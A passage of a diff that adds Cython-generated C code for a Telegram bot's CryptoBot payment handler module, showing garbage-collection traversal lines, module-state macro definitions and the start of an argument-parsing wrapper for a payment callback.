Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_u_status); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_token); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_u_update_type); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_warning); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_int_500); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__4); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__29); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_tuple__38); + Py_VISIT(traverse_module_state->__pyx_tuple__39); + Py_VISIT(traverse_module_state->__pyx_tuple__40); + Py_VISIT(traverse_module_state->__pyx_tuple__41); + Py_VISIT(traverse_module_state->__pyx_tuple__42); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__18); + Py_VISIT(traverse_module_state->__pyx_codeobj__22); + Py_VISIT(traverse_module_state->__pyx_codeobj__24); + Py_VISIT(traverse_module_state->__pyx_codeobj__26); + Py_VISIT(traverse_module_state->__pyx_codeobj__30); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input +#define __pyx_n_s_AioCryptoPay __pyx_mstate_global->__pyx_n_s_AioCryptoPay +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_n_u_CRYPTOSALE __pyx_mstate_global->__pyx_n_u_CRYPTOSALE +#define __pyx_n_s_CRYPTO_BOT_ENABLE __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_ENABLE +#define __pyx_n_s_CRYPTO_BOT_TOKEN __pyx_mstate_global->__pyx_n_s_CRYPTO_BOT_TOKEN +#define __pyx_kp_u_CRYPTO_HASH __pyx_mstate_global->__pyx_kp_u_CRYPTO_HASH +#define __pyx_kp_u_Crypto_Pay_Api_Signature __pyx_mstate_global->__pyx_kp_u_Crypto_Pay_Api_Signature +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_MAIN_NET __pyx_mstate_global->__pyx_n_s_MAIN_NET +#define __pyx_n_s_Networks __pyx_mstate_global->__pyx_n_s_Networks +#define __pyx_kp_u_No_value __pyx_mstate_global->__pyx_kp_u_No_value +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_s_PROJECTMANECONGIGURE __pyx_mstate_global->__pyx_n_s_PROJECTMANECONGIGURE +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_RUB_TO_USDT __pyx_mstate_global->__pyx_n_s_RUB_TO_USDT +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_u_USDT __pyx_mstate_global->__pyx_n_u_USDT +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_n_u__13 __pyx_mstate_global->__pyx_n_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__19 __pyx_mstate_global->__pyx_kp_u__19 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__27 __pyx_mstate_global->__pyx_kp_u__27 +#define __pyx_kp_u__28 __pyx_mstate_global->__pyx_kp_u__28 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__31 __pyx_mstate_global->__pyx_kp_u__31 +#define __pyx_kp_u__32 __pyx_mstate_global->__pyx_kp_u__32 +#define __pyx_kp_u__33 __pyx_mstate_global->__pyx_kp_u__33 +#define __pyx_kp_u__34 __pyx_mstate_global->__pyx_kp_u__34 +#define __pyx_n_s__43 __pyx_mstate_global->__pyx_n_s__43 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_kp_u__9 __pyx_mstate_global->__pyx_kp_u__9 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiocryptopay __pyx_mstate_global->__pyx_n_s_aiocryptopay +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asset __pyx_mstate_global->__pyx_n_s_asset +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_body_text __pyx_mstate_global->__pyx_n_s_body_text +#define __pyx_n_s_bot_invoice_url __pyx_mstate_global->__pyx_n_s_bot_invoice_url +#define __pyx_n_u_bot_invoice_url __pyx_mstate_global->__pyx_n_u_bot_invoice_url +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_check_hash __pyx_mstate_global->__pyx_n_s_check_hash +#define __pyx_n_s_check_signature __pyx_mstate_global->__pyx_n_s_check_signature +#define __pyx_n_s_choosing_amount_crypto __pyx_mstate_global->__pyx_n_s_choosing_amount_crypto +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_create_invoice __pyx_mstate_global->__pyx_n_s_create_invoice +#define __pyx_n_u_crypto __pyx_mstate_global->__pyx_n_u_crypto +#define __pyx_n_s_crypto_2 __pyx_mstate_global->__pyx_n_s_crypto_2 +#define __pyx_kp_u_crypto_amount __pyx_mstate_global->__pyx_kp_u_crypto_amount +#define __pyx_n_s_crypto_pay_signature __pyx_mstate_global->__pyx_n_s_crypto_pay_signature +#define __pyx_n_u_cryptobot __pyx_mstate_global->__pyx_n_u_cryptobot +#define __pyx_n_s_cryptobot_webhook __pyx_mstate_global->__pyx_n_s_cryptobot_webhook +#define __pyx_n_s_custom_payload __pyx_mstate_global->__pyx_n_s_custom_payload +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_crypto __pyx_mstate_global->__pyx_n_u_enter_custom_amount_crypto +#define __pyx_n_s_entering_custom_amount_crypto __pyx_mstate_global->__pyx_n_s_entering_custom_amount_crypto +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_cryprobot_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_cryprobot_pay +#define __pyx_kp_s_handlers_payments_cryprobot_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_cryprobot_pay_2 +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_hash_cryptobot __pyx_mstate_global->__pyx_kp_u_hash_cryptobot +#define __pyx_n_s_headers __pyx_mstate_global->__pyx_n_s_headers +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_info __pyx_mstate_global->__pyx_n_s_info +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_invoice __pyx_mstate_global->__pyx_n_s_invoice +#define __pyx_n_u_invoice_paid __pyx_mstate_global->__pyx_n_u_invoice_paid +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_network __pyx_mstate_global->__pyx_n_s_network +#define __pyx_n_u_paid __pyx_mstate_global->__pyx_n_u_paid +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_cryptobot __pyx_mstate_global->__pyx_n_u_pay_cryptobot +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_u_payload __pyx_mstate_global->__pyx_n_u_payload +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_cryptobot __pyx_mstate_global->__pyx_n_s_process_callback_pay_cryptobot +#define __pyx_n_s_process_crypto_payment __pyx_mstate_global->__pyx_n_s_process_crypto_payment +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_token __pyx_mstate_global->__pyx_n_s_token +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_typing __pyx_mstate_global->__pyx_n_s_typing +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_update_data __pyx_mstate_global->__pyx_n_s_update_data +#define __pyx_n_u_update_type __pyx_mstate_global->__pyx_n_u_update_type +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_kp_u_user_id_amount __pyx_mstate_global->__pyx_kp_u_user_id_amount +#define __pyx_n_s_user_id_str __pyx_mstate_global->__pyx_n_s_user_id_str +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_warning __pyx_mstate_global->__pyx_n_s_warning +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_float_0_0 __pyx_mstate_global->__pyx_float_0_0 +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_400 __pyx_mstate_global->__pyx_int_400 +#define __pyx_int_500 __pyx_mstate_global->__pyx_int_500 +#define __pyx_codeobj_ __pyx_mstate_global->__pyx_codeobj_ +#define __pyx_tuple__4 __pyx_mstate_global->__pyx_tuple__4 +#define __pyx_tuple__7 __pyx_mstate_global->__pyx_tuple__7 +#define __pyx_tuple__23 __pyx_mstate_global->__pyx_tuple__23 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__35 __pyx_mstate_global->__pyx_tuple__35 +#define __pyx_tuple__36 __pyx_mstate_global->__pyx_tuple__36 +#define __pyx_tuple__37 __pyx_mstate_global->__pyx_tuple__37 +#define __pyx_tuple__38 __pyx_mstate_global->__pyx_tuple__38 +#define __pyx_tuple__39 __pyx_mstate_global->__pyx_tuple__39 +#define __pyx_tuple__40 __pyx_mstate_global->__pyx_tuple__40 +#define __pyx_tuple__41 __pyx_mstate_global->__pyx_tuple__41 +#define __pyx_tuple__42 __pyx_mstate_global->__pyx_tuple__42 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__18 __pyx_mstate_global->__pyx_codeobj__18 +#define __pyx_codeobj__22 __pyx_mstate_global->__pyx_codeobj__22 +#define __pyx_codeobj__24 __pyx_mstate_global->__pyx_codeobj__24 +#define __pyx_codeobj__26 __pyx_mstate_global->__pyx_codeobj__26 +#define __pyx_codeobj__30 __pyx_mstate_global->__pyx_codeobj__30 +/* #### Code section: module_code ### */ +static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/cryprobot_pay.py":38 + * + * + * @router.callback_query(F.data == "pay_cryptobot") # <<<<<<<<<<<<<< + * async def process_callback_pay_cryptobot( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot = {"process_callback_pay_cryptobot", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13cryprobot_pay_1process_callback_pay_cryptobot(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + PyObject *__pyx_v_session = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[3] = {0,0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_callback_pay_cryptobot (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,&__pyx_n_s_session,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 3: values[2] = __Pyx_Arg_FASTCALL(__pyx_args, 2); + CYTHON_FALLTHROUGH; + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 1); __PYX_ERR(0, 38, __pyx_L3_error) + } + CYTHON_FALLTHROUGH; + case 2: + if (likely((values[2] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_session)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[2]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_callback_pay_cryptobot", 1, 3, 3, 2); __PYX_ERR(0, 38, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_callback_pay_cryptobot") < 0)) __PYX_ERR(0, 38, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 3)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = 